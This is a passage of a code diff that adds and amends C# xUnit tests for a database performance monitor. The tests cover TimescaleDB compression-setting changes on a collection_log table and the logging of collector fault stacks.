+        Assert.True(elapsed.Elapsed < TimeSpan.FromSeconds(30), $"the ALTER waited {elapsed.Elapsed} behind the held lock: {logger.Joined}");
+        Assert.Contains(logger.Lines, line =>
+            line.StartsWith("Information:", StringComparison.Ordinal)
+            && line.Contains("collection_log's compression settings", StringComparison.Ordinal)
+            && line.Contains("next hourly pass tries again", StringComparison.Ordinal));
+        Assert.Equal(0, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Equal(OldSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+        Assert.Equal(chunksBefore, await ReadChunkSettingsAsync(connection, ct));
+        Assert.Equal(1, await ScalarAsync<int>(connection, "SELECT 1", ct));
+
+        await hold.RollbackAsync(ct);
+        await hold.DisposeAsync();
+
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        Assert.Equal(WantedSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+    }
+
+    /* ---------------- any other failure (condition 2) ---------------- */
+
+    /// <summary>
+    /// The ALTER fails for a reason other than a lock: here the store's collector column has another name, so the new
+    /// segmentby names a column that does not exist. The change rolls back and leaves the store exactly as it was. The
+    /// log says the settings change failed and the table keeps its settings, not that "setup failed" and the table
+    /// "stays a plain table" (it is a hypertable). The failure does not cost the pass its policy step: the table is
+    /// still compressible under its current setting, and no other step adds a missing compression policy. The
+    /// connection stays usable for the step after it, and the next pass tries again rather than remembering the failure.
+    /// </summary>
+    [Fact]
+    public async Task AFailedAlter_LeavesTheStoreAsItWas_LogsWhatHappened_AndIsRetriedNextPass()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildUpgradedLogAsync(connection, scratch.ConnectionString, HeldCollectorColumn, ct);
+
+        var chunksBefore = await ReadChunkSettingsAsync(connection, ct);
+        Assert.NotEmpty(chunksBefore);
+        var dataBefore = await DataHashAsync(connection, HeldCollectorColumn, ct);
+        Assert.Equal(0, await CompressionPolicyCountAsync(connection, ct));
+
+        var logger = new CapturingTestLogger();
+        Assert.False(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, logger, ct),
+            $"the pass reported success although the new segmentby names a column this store does not have: {logger.Joined}");
+
+        Assert.Equal(1, CountSettingsFailures(logger));
+        Assert.DoesNotContain("plain table", logger.Joined, StringComparison.Ordinal);
+        Assert.Equal(OldSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+        Assert.Equal(chunksBefore, await ReadChunkSettingsAsync(connection, ct));
+        Assert.Equal(dataBefore, await DataHashAsync(connection, HeldCollectorColumn, ct));
+        Assert.True(1 == await CompressionPolicyCountAsync(connection, ct),
+            $"the failed settings change skipped the policy step, so a store without a compression policy never gets one: {logger.Joined}");
+
+        /* The connection is not left inside a failed transaction: the next statement and the next step both run. */
+        Assert.Equal(1, await ScalarAsync<int>(connection, "SELECT 1", ct));
+        await TimescaleSupport.ConvergeCompressionScheduleAsync(connection, null, ct);
+
+        /* The next pass tries again. */
+        Assert.False(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, logger, ct));
+        Assert.Equal(2, CountSettingsFailures(logger));
+        Assert.Equal(chunksBefore, await ReadChunkSettingsAsync(connection, ct));
+    }
+
+    /* ---------------- answers and plan ---------------- */
+
+    /// <summary>
+    /// "New chunks only" leaves old and new chunks mixed until retention removes the old ones. Every read below must
+    /// return the same rows over the mix as it did when all chunks had the old settings.
+    /// </summary>
+    [Fact]
+    public async Task OldAndNewChunks_Mixed_ReturnTheSameRowsAsBefore()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await BuildUpgradedLogAsync(connection, scratch.ConnectionString, "collector_name", ct);
+
+        var asOf = await ScalarAsync<DateTime>(connection, "SELECT max(collection_time) FROM collection_log", ct);
+        var before = await RunReadsAsync(connection, asOf, ct);
+
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await CompressChunksAsync(connection, olderThanDays: 1, ct);
+
+        var segmentBys = (await ReadChunkSettingsAsync(connection, ct)).Select(chunk => chunk.SegmentBy).Distinct().ToList();
+        Assert.Contains(OldChunkSegmentBy, segmentBys);
+        Assert.Contains(WantedChunkSegmentBy, segmentBys);
+
+        var after = await RunReadsAsync(connection, asOf, ct);
+        Assert.Equal(before.Keys, after.Keys);
+        foreach (var (read, rows) in before)
+        {
+            Assert.True(rows == after[read], $"'{read}' returned different rows once old and new chunks were mixed");
+        }
+    }
+
+    /// <summary>
+    /// The read this change is for. The blocking baseline's coverage read (the <c>logged</c> CTE) asks for one
+    /// collector on one server; with collector_name in the segmentby, that condition must reach the compressed chunk's
+    /// own scan, so only that collector's batches are decompressed. Before the change only <c>server_id</c> reached it,
+    /// and the collector was filtered after every collector's rows were decompressed.
+    /// </summary>
+    [Fact]
+    public async Task TheEventBaselineRead_DecompressesOnlyItsCollectorsSegment()
+    {
+        var baseConnectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct),
+            "TimescaleDB is not available on this cluster; the compressed-chunk plan shape needs it.");
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await StopBackgroundWorkersAsync(connection, ct);
+        await TimescaleSupport.EnsureBaselineFallbackViewsAsync(connection, null, ct);
+
+        await SeedAsync(connection, "collector_name", new[] { ServerA }, AnalysisTime.AddDays(-35), AnalysisTime.AddMinutes(-15), ct);
+        await SeedEventAsync(connection, ServerA, ct);
+        await CompressChunksAsync(connection, olderThanDays: 1, ct);
+        Assert.True(await ScalarAsync<long>(connection,
+            "SELECT count(*) FROM timescaledb_information.chunks WHERE hypertable_name = 'collection_log' AND is_compressed", ct) >= 1,
+            "the seed produced no compressed collection_log chunk, so the plan would prove nothing");
+
+        var plan = await ExplainBlockingBaselineAsync(connection, ServerA, ct);
+        var compressedScans = CompressedScans(plan).Where(scan => scan.GetProperty("Actual Loops").GetDouble() > 0).ToList();
+        Assert.True(compressedScans.Count > 0, $"the plan reads no compressed chunk:\n{plan.GetRawText()}");
+        Assert.True(
+            compressedScans.All(scan => Conditions(scan).Contains("(collector_name = ", StringComparison.Ordinal)),
+            $"the collector condition does not reach the compressed chunk's own scan:\n{plan.GetRawText()}");
+    }
+
+    /* ---------------- fixture ---------------- */
+
+    private static string RequireLivePostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the collection_log segmentby tests (each mints its own scratch database).");
+        return connectionString!;
+    }
+
+    /// <summary>
+    /// Skips on a TimescaleDB these tests cannot run on. Before 2.14 a hypertable's compression settings cannot change
+    /// while compressed chunks exist, so the product keeps such a store on <c>server_id</c> by design; and a TimescaleDB
+    /// without the per-chunk settings view gives these tests nothing to read. Literal version, like the segmentby
+    /// literals above: the tests pin the floor rather than follow the product's constant.
+    /// </summary>
+    private static async Task RequirePerChunkSettingsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var version = await TimescaleSupport.ReadTimescaleVersionAsync(connection, null, ct);
+        var hasView = await ScalarAsync<bool>(connection,
+            "SELECT to_regclass('timescaledb_information.chunk_compression_settings') IS NOT NULL", ct);
+        Assert.SkipUnless(version is not null && version >= new Version(2, 14) && hasView,
+            $"TimescaleDB {version?.ToString() ?? "(version unknown)"} predates per-chunk compression settings (2.14), which these tests read and change.");
+    }
+
+    /// <summary>
+    /// collection_log as every build before #4951 left it: a hypertable compressed by <c>server_id</c> alone, six days
+    /// of runs from two servers and three collectors, and every chunk older than three days compressed. The two newest
+    /// closed chunks stay uncompressed, so a test can compress them under the new settings. <paramref name="collectorColumn"/>
+    /// other than <c>collector_name</c> renames that column BEFORE the conversion, which is how the failure test makes
+    /// the new segmentby name a column the store does not have.
+    /// </summary>
+    private static async Task BuildUpgradedLogAsync(NpgsqlConnection connection, string connectionString, string collectorColumn, CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        if (!string.Equals(collectorColumn, "collector_name", StringComparison.Ordinal))
+        {
+            await ExecAsync(connection, $"ALTER TABLE collection_log RENAME COLUMN collector_name TO {collectorColumn}", ct);
+        }
+
+        Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(connectionString, ct), "TimescaleDB is not available on this cluster.");
+        await StopBackgroundWorkersAsync(connection, ct);
+        await RequirePerChunkSettingsAsync(connection, ct);
+
+        await ExecAsync(connection, TimescaleSupport.CreateHypertableSql(TimescaleSupport.CollectionLogTable, TimescaleSupport.CollectionLogTimeColumn), ct);
+        await ExecAsync(connection, "ALTER TABLE collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", ct);
+
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        await SeedAsync(connection, collectorColumn, new[] { ServerA, ServerB }, now.Date.AddDays(-6), now.AddMinutes(-15), ct);
+        await CompressChunksAsync(connection, olderThanDays: 3, ct);
+
+        Assert.Equal(OldSegmentBy, (await ReadHypertableAsync(connection, ct)).SegmentBy);
+    }
+
+    /// <summary>One run every 15 minutes per server and collector; every tenth run failed, so status filters matter.</summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, string collectorColumn, int[] servers, DateTime from, DateTime to, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            $@"INSERT INTO collection_log (log_id, server_id, server_name, {collectorColumn}, collection_time, status, rows_collected)
+               SELECT $1 - row_number() OVER (ORDER BY s.server_id, c.collector, g.t), s.server_id, $2, c.collector, g.t,
+                      CASE WHEN (extract(epoch FROM g.t)::bigint / 900) % 10 = 0 THEN 'ERROR' ELSE 'SUCCESS' END,
+                      (extract(epoch FROM g.t)::bigint / 900) % 7
+               FROM unnest($3::integer[]) AS s(server_id)
+               CROSS JOIN unnest($4::text[]) AS c(collector)
+               CROSS JOIN generate_series($5::timestamp, $6::timestamp, INTERVAL '15 minutes') AS g(t)", connection);
+        command.Parameters.AddWithValue(LogIdBase);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(servers);
+        command.Parameters.AddWithValue(Collectors);
+        command.Parameters.AddWithValue(from);
+        command.Parameters.AddWithValue(to);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task SeedEventAsync(NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time) VALUES ($1, $2, $3, $4, $5)",
+            connection);
+        command.Parameters.AddWithValue(LogIdBase);
+        command.Parameters.AddWithValue(EventTime);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(EventTime);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Compresses every not-yet-compressed chunk that closed more than <paramref name="olderThanDays"/> days ago.</summary>
+    private static async Task CompressChunksAsync(NpgsqlConnection connection, int olderThanDays, CancellationToken ct)
+    {
+        var chunks = new List<string>();
+        using (var list = new NpgsqlCommand(
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks "
+            + "WHERE hypertable_schema = 'collect' AND hypertable_name = 'collection_log' AND NOT is_compressed "
+            + "AND range_end <= now() - make_interval(days => $1) ORDER BY range_start", connection))
+        {
+            list.Parameters.AddWithValue(olderThanDays);
+            await using var reader = await list.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                chunks.Add(reader.GetString(0));
+            }
+        }
+
+        foreach (var chunk in chunks)
+        {
+            await ExecAsync(connection, $"SELECT compress_chunk('{chunk}')", ct);
+        }
+    }
+
+    private static Task StopBackgroundWorkersAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ExecAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+
+    /// <summary>collection_log's compression policy jobs: one row per policy, and TimescaleDB allows at most one.</summary>
+    private const string CompressionPolicyJobsSql =
+        "FROM timescaledb_information.jobs WHERE proc_name = 'policy_compression' "
+        + "AND hypertable_schema = 'collect' AND hypertable_name = 'collection_log'";
+
+    private static Task<long> CompressionPolicyCountAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ScalarAsync<long>(connection, "SELECT count(*) " + CompressionPolicyJobsSql, ct);
+
+    /// <summary>One run of collection_log's compression policy in this session, as the scheduler runs it: it compresses
+    /// every chunk older than the policy's compress-after with the settings the hypertable has at that moment.</summary>
+    private static async Task RunCompressionPolicyAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        int? jobId;
+        using (var find = new NpgsqlCommand("SELECT job_id " + CompressionPolicyJobsSql, connection))
+        {
+            jobId = await find.ExecuteScalarAsync(ct) as int?;
+        }
+
+        Assert.True(jobId.HasValue, "collection_log has no compression policy to run");
+        await ExecAsync(connection, $"CALL run_job({jobId.Value})", ct);
+    }
+
+    /* ---------------- reads of the store ---------------- */
+
+    private sealed record HypertableState(bool IsHypertable, bool CompressionEnabled, string? SegmentBy);
+
+    private sealed record ChunkSetting(string Chunk, string SegmentBy);
+
+    /// <summary>collection_log's own settings row: whether it is a hypertable, whether compression is on, and its
+    /// segmentby columns in order, joined with ", ".</summary>
+    private static async Task<HypertableState> ReadHypertableAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            @"SELECT h.compression_enabled,
+                     (SELECT string_agg(cs.attname, ', ' ORDER BY cs.segmentby_column_index)
+                      FROM timescaledb_information.compression_settings AS cs
+                      WHERE cs.hypertable_schema = h.hypertable_schema
+                      AND   cs.hypertable_name = h.hypertable_name
+                      AND   cs.segmentby_column_index IS NOT NULL)
+              FROM timescaledb_information.hypertables AS h
+              WHERE h.hypertable_schema = 'collect' AND h.hypertable_name = 'collection_log'", connection);
+        try
+        {
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            if (!await reader.ReadAsync(ct))
+            {
+                return new HypertableState(false, false, null);
+            }
+
+            return new HypertableState(true, !reader.IsDBNull(0) && reader.GetBoolean(0), reader.IsDBNull(1) ? null : reader.GetString(1));
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            /* No extension, so no timescaledb_information schema: not a hypertable. */
+            return new HypertableState(false, false, null);
+        }
+    }
+
+    /// <summary>Every compressed chunk of collection_log with the segmentby it was compressed under, by chunk name.</summary>
+    private static async Task<List<ChunkSetting>> ReadChunkSettingsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "SELECT chunk::text, coalesce(segmentby, '') FROM timescaledb_information.chunk_compression_settings "
+            + "WHERE hypertable = 'collect.collection_log'::regclass ORDER BY chunk::text", connection);
+        var chunks = new List<ChunkSetting>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            chunks.Add(new ChunkSetting(reader.GetString(0), reader.GetString(1)));
+        }
+
+        return chunks;
+    }
+
+    /// <summary>The product's own convergence read: the collect tables whose compression is already what it wants.</summary>
+    private static async Task<IReadOnlySet<string>> ConvergedTablesAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await TimescaleSupport.ReadTablesNeedingCompressionEnableAsync(connection, null, ct)
+            ?? throw new InvalidOperationException("the convergence read failed");
+
+    /// <summary>One md5 over every row, in log_id order: unchanged data gives the same hash.</summary>
+    private static Task<string> DataHashAsync(NpgsqlConnection connection, string collectorColumn, CancellationToken ct) =>
+        ScalarAsync<string>(connection,
+            $"SELECT md5(string_agg(concat_ws('|', log_id, server_id, {collectorColumn}, collection_time, status, rows_collected), ',' ORDER BY log_id)) FROM collection_log",
+            ct);
+
+    /// <summary>The read shapes the change can affect, each rendered to one string: every row, a per-collector window, the
+    /// newest run per collector, a fleet-wide aggregate, and the "any earlier success" probe.</summary>
+    private static async Task<Dictionary<string, string>> RunReadsAsync(NpgsqlConnection connection, DateTime asOf, CancellationToken ct)
+    {
+        var reads = new (string Name, string Sql, object[] Args)[]
+        {
+            ("every row",
+                "SELECT log_id, server_id, collector_name, collection_time, status, rows_collected FROM collection_log ORDER BY log_id",
+                Array.Empty<object>()),
+            ("one collector, 5 days",
+                "SELECT collection_time, status, rows_collected FROM collection_log WHERE server_id = $1 AND collector_name = 'wait_stats' AND collection_time >= $2 - INTERVAL '5 days' ORDER BY collection_time, log_id",
+                new object[] { ServerA, asOf }),
+            ("newest run per collector",
+                "SELECT DISTINCT ON (collector_name) collector_name, collection_time, status FROM collection_log WHERE server_id = $1 ORDER BY collector_name, collection_time DESC, log_id DESC",
+                new object[] { ServerA }),
+            ("fleet aggregate",
+                "SELECT server_id, collector_name, count(*), min(collection_time), max(collection_time), sum(rows_collected), count(*) FILTER (WHERE status = 'SUCCESS') FROM collection_log WHERE collection_time <= $1 GROUP BY server_id, collector_name ORDER BY server_id, collector_name",
+                new object[] { asOf }),
+            ("any earlier success",
+                "SELECT EXISTS (SELECT 1 FROM collection_log WHERE server_id = $1 AND collector_name = 'cpu_utilization' AND status = 'SUCCESS' AND collection_time < $2 - INTERVAL '4 days')",
+                new object[] { ServerA, asOf }),
+        };
+
+        var results = new Dictionary<string, string>(StringComparer.Ordinal);
+        foreach (var (name, sql, args) in reads)
+        {
+            using var command = new NpgsqlCommand(sql, connection);
+            foreach (var arg in args)
+            {
+                command.Parameters.AddWithValue(arg);
+            }
+
+            var text = new StringBuilder();
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                for (var i = 0; i < reader.FieldCount; i++)
+                {
+                    text.Append(reader.IsDBNull(i) ? "NULL" : Convert.ToString(reader.GetValue(i), System.Globalization.CultureInfo.InvariantCulture)).Append('|');
+                }
+
+                text.Append('\n');
+            }
+
+            results[name] = text.ToString();
+        }
+
+        return results;
+    }
+
+    /// <summary>The blocking baseline as the provider runs it, through the coverage-read plan class's own EXPLAIN helper
+    /// (one copy of the six bound parameters, not two).</summary>
+    private static Task<JsonElement> ExplainBlockingBaselineAsync(NpgsqlConnection connection, int serverId, CancellationToken ct) =>
+        DarlingEventBaselineCoverageReadPlanShapeLiveTests.ExplainAsync(
+            connection, PgBaselineProvider.GetBaselineQuery(MetricNames.Blocking)!, serverId, ct);
+
+    /// <summary>Every scan of a chunk's compressed relation, by the coverage-read plan class's own relation test.</summary>
+    private static List<JsonElement> CompressedScans(JsonElement plan)
+    {
+        var found = new List<JsonElement>();
+
+        void Visit(JsonElement node)
+        {
+            if (node.TryGetProperty("Relation Name", out var relation)
+                && DarlingEventBaselineCoverageReadPlanShapeLiveTests.IsCompressedRelation(relation.GetString()!))
+            {
+                found.Add(node);
+            }
+
+            if (node.TryGetProperty("Plans", out var children))
+            {
+                foreach (var child in children.EnumerateArray())
+                {
+                    Visit(child);
+                }
+            }
+        }
+
+        Visit(plan);
+        return found;
+    }
+
+    /// <summary>A scan's own conditions and its descendants', by the coverage-read plan class's helper. On the old layout
+    /// the compressed scan's only collector condition is a bloom filter on a metadata column, which never contains
+    /// "(collector_name = ".</summary>
+    private static string Conditions(JsonElement node) => DarlingEventBaselineCoverageReadPlanShapeLiveTests.Conditions(node);
+
+    /// <summary>Warning lines saying the settings change failed and the table kept its settings.</summary>
+    private static int CountSettingsFailures(CapturingTestLogger logger) =>
+        logger.Lines.Count(line =>
+            line.StartsWith("Warning:", StringComparison.Ordinal)
+            && line.Contains("collection_log's compression settings", StringComparison.Ordinal)
+            && line.Contains("could not be changed, so the change was rolled back", StringComparison.Ordinal)
+            && line.Contains("keeps its current settings", StringComparison.Ordinal));
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct, NpgsqlTransaction? transaction = null)
+    {
+        using var command = new NpgsqlCommand(sql, connection, transaction);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection);
+        var value = await command.ExecuteScalarAsync(ct);
+        return (T)Convert.ChangeType(value!, typeof(T), System.Globalization.CultureInfo.InvariantCulture);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionLogStoreProbeAttributionTests.cs b/Darling/Darling.Tests/CollectionLogStoreProbeAttributionTests.cs
index ea45dc3458..7d7fdf3f0e 100644
--- a/Darling/Darling.Tests/CollectionLogStoreProbeAttributionTests.cs
+++ b/Darling/Darling.Tests/CollectionLogStoreProbeAttributionTests.cs
@@ -50,6 +50,7 @@ namespace Darling.Tests;
 /// every persisted column exactly as it was. These tests pin the arithmetic, the emit, the caveats on the two
 /// surfaces that drew the wrong inference, and the premise the FLOOR caveat rests on.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public class CollectionLogStoreProbeAttributionTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/CollectionLogWebRowPreservesFullTextPinTests.cs b/Darling/Darling.Tests/CollectionLogWebRowPreservesFullTextPinTests.cs
index 8469ef6dc5..8e197a523b 100644
--- a/Darling/Darling.Tests/CollectionLogWebRowPreservesFullTextPinTests.cs
+++ b/Darling/Darling.Tests/CollectionLogWebRowPreservesFullTextPinTests.cs
@@ -18,6 +18,7 @@ namespace Darling.Tests;
 /// old default through the row" contract #3897's trend tools pin for <c>TrendBudget.Chart</c>. No rig: a
 /// source-text pin, like <c>PgCappedReadSurfaceTests</c>.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class CollectionLogWebRowPreservesFullTextPinTests
 {
     private const string WebEndpoints =
diff --git a/Darling/Darling.Tests/CollectionNoteLatestRunTests.cs b/Darling/Darling.Tests/CollectionNoteLatestRunTests.cs
index 0d59b51183..646c5cedb7 100644
--- a/Darling/Darling.Tests/CollectionNoteLatestRunTests.cs
+++ b/Darling/Darling.Tests/CollectionNoteLatestRunTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// window's. A note that carries counts is labelled as the latest run's and takes no run-count qualifier;
 /// a plain note keeps its qualifiers exactly.
 /// </summary>
+[Trait("Reads", "Lite")]
 public class CollectionNoteLatestRunTests
 {
     private const string Counts = "shred_gated=2 events_read=0 report_xml_empty=0 report_xml_unparsed=0 events_stored=0";
diff --git a/Darling/Darling.Tests/CollectionOutputBesideCostTests.cs b/Darling/Darling.Tests/CollectionOutputBesideCostTests.cs
index 9ef3911fef..b1d449b70b 100644
--- a/Darling/Darling.Tests/CollectionOutputBesideCostTests.cs
+++ b/Darling/Darling.Tests/CollectionOutputBesideCostTests.cs
@@ -42,6 +42,7 @@ namespace Darling.Tests;
 /// <c>deadlock_coverage</c> established one level up: numbers, a denominator, a named cause, and a sentence
 /// that names both windows and disclaims the one it did not measure.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectionOutputBesideCostTests
 {
     /* The measured pg_deadlocks counts, so every row below is the shape this issue was filed on rather
@@ -432,7 +433,9 @@ public void BothSkusReaders_MapTheSameOrdinals_ToTheSameFields()
             "public static async Task<List<CollectorHealth>> GetCollectionHealthAsync");
         var lite = OrdinalMap(
             Path.Combine("Lite", "Services", "LocalDataService.CollectionHealth.cs"),
-            "public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync");
+            /* #5371 moved the positional reads out of the public GetCollectionHealthAsync (now the memo,
+               cancellation and phase-timing wrapper) into ReadCollectionHealthAsync, which maps the row. */
+            "private async Task<List<CollectorHealthRow>> ReadCollectionHealthAsync");
 
         /* The precondition. 31 columns since #4748's one (latest_run_note, the newest run's note the band
            reads) - 30 at #3885's, 16 at #2460, plus #2472's four fan-out
diff --git a/Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs b/Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs
index 3eb84e8d55..6a49003986 100644
--- a/Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs
+++ b/Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs
@@ -42,6 +42,7 @@ namespace Darling.Tests;
 /// really about being NEWEST — keeping a copy of those would assert this rung is still the top,
 /// which is how the NEXT rung's build goes red.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectorDatabaseScopeRungTests
 {
     private const int RungVersion = 125;
@@ -473,9 +474,11 @@ public void BothProviders_SpliceTheScopeIntoTheDatabaseListPlan_AndTheMaintenanc
     /// <summary>
     /// The runner feeds ONE resolution per run to all three consumers — the dispatch probe, the
     /// per-database loop's list plan, and the enumeration context — and the stated boundaries hold:
-    /// the worker's delegate reads the SAME live overrides the cadence gate reads; the Azure XE
-    /// session provisioner deliberately passes NO scope (session inventory is server-shaped — three
-    /// collectors with three possible scopes share those sessions); and Lite's definition runner
+    /// the worker's delegate reads the SAME live overrides the cadence gate reads; the always-on Azure XE
+    /// session provisioner deliberately passes NO scope (session inventory is server-shaped — one list
+    /// provisions the deadlock and blocked-process sessions, whose collectors may carry different scopes), while the opt-in long-query trace
+    /// follows its own collector's scope through the runner's accessor (its lifecycle covers what its read
+    /// covers); and Lite's definition runner
     /// never names the scope at all, so every Lite query stays byte-identical to the unscoped form.
     /// </summary>
     [Fact]
@@ -494,7 +497,8 @@ public void TheRunnerResolvesOnceAndFeedsAllThreeConsumers_AndTheStatedBoundarie
             worker, StringComparison.Ordinal);
 
         var xe = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
-        Assert.Equal(2, CountOf(xe, "GetAzureDatabaseListAsync(server, databaseScope: null"));
+        Assert.Equal(1, CountOf(xe, "GetAzureDatabaseListAsync(server, databaseScope: null"));
+        Assert.Contains("runner.DatabaseScopeFor(LongQueryCompletionsCollector.Instance.Name, server.ServerId)", xe, StringComparison.Ordinal);
 
         var lite = RepoFile.ReadRepoFile("Lite", "Services", "RemoteCollectorService.DefinitionRunner.cs");
         Assert.DoesNotContain("DatabaseScope", lite, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/CollectorFaultStackLogTests.cs b/Darling/Darling.Tests/CollectorFaultStackLogTests.cs
new file mode 100644
index 0000000000..42f3488df6
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorFaultStackLogTests.cs
@@ -0,0 +1,202 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net.Http;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5003: a failed collector run logged only the exception's message, so "Collection was modified; enumeration
+/// operation may not execute" could not say which collection or which line. The first failure of each kind from each
+/// collector now carries its full text; the repeats keep the one line.
+/// </summary>
+public class CollectorFaultStackLogTests
+{
+    private static Exception Thrown(Exception exception)
+    {
+        try
+        {
+            throw exception;
+        }
+        catch (Exception caught)
+        {
+            return caught;
+        }
+    }
+
+    [Fact]
+    public void TheFirstFailureOfAKindCarriesTheTypeTheMessageAndTheFrameThatThrew()
+    {
+        var log = new CollectorFaultStackLog();
+
+        var text = log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("Collection was modified; enumeration operation may not execute.")));
+
+        Assert.NotNull(text);
+        Assert.Contains("System.InvalidOperationException", text, StringComparison.Ordinal);
+        Assert.Contains("Collection was modified", text, StringComparison.Ordinal);
+        Assert.Contains(nameof(Thrown), text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARepeatOfTheSameKindFromTheSameCollectorGetsNothing()
+    {
+        var log = new CollectorFaultStackLog();
+
+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("one"))));
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("two"))));
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("three"))));
+    }
+
+    [Fact]
+    public void AnotherCollectorOrAnotherTypeIsAnotherKind()
+    {
+        var log = new CollectorFaultStackLog();
+
+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("x"))));
+        Assert.NotNull(log.TakeFirst("pg_deadlocks", Thrown(new InvalidOperationException("x"))));
+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(new ArgumentException("x"))));
+    }
+
+    /// <summary>
+    /// An RDS log read wraps every fault in <see cref="RdsLogUnavailableException"/>. A network fault that came first
+    /// must not use up the stack for a bug inside the read that comes later, so the type underneath is part of the kind.
+    /// </summary>
+    [Fact]
+    public void AWrapperOverADifferentCauseIsAnotherKind()
+    {
+        var log = new CollectorFaultStackLog();
+
+        var network = new RdsLogUnavailableException("unreachable", false, new HttpRequestException("unreachable"));
+        var bug = new RdsLogUnavailableException(
+            "Collection was modified; enumeration operation may not execute.", false, Thrown(new InvalidOperationException("Collection was modified; enumeration operation may not execute.")));
+
+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(network)));
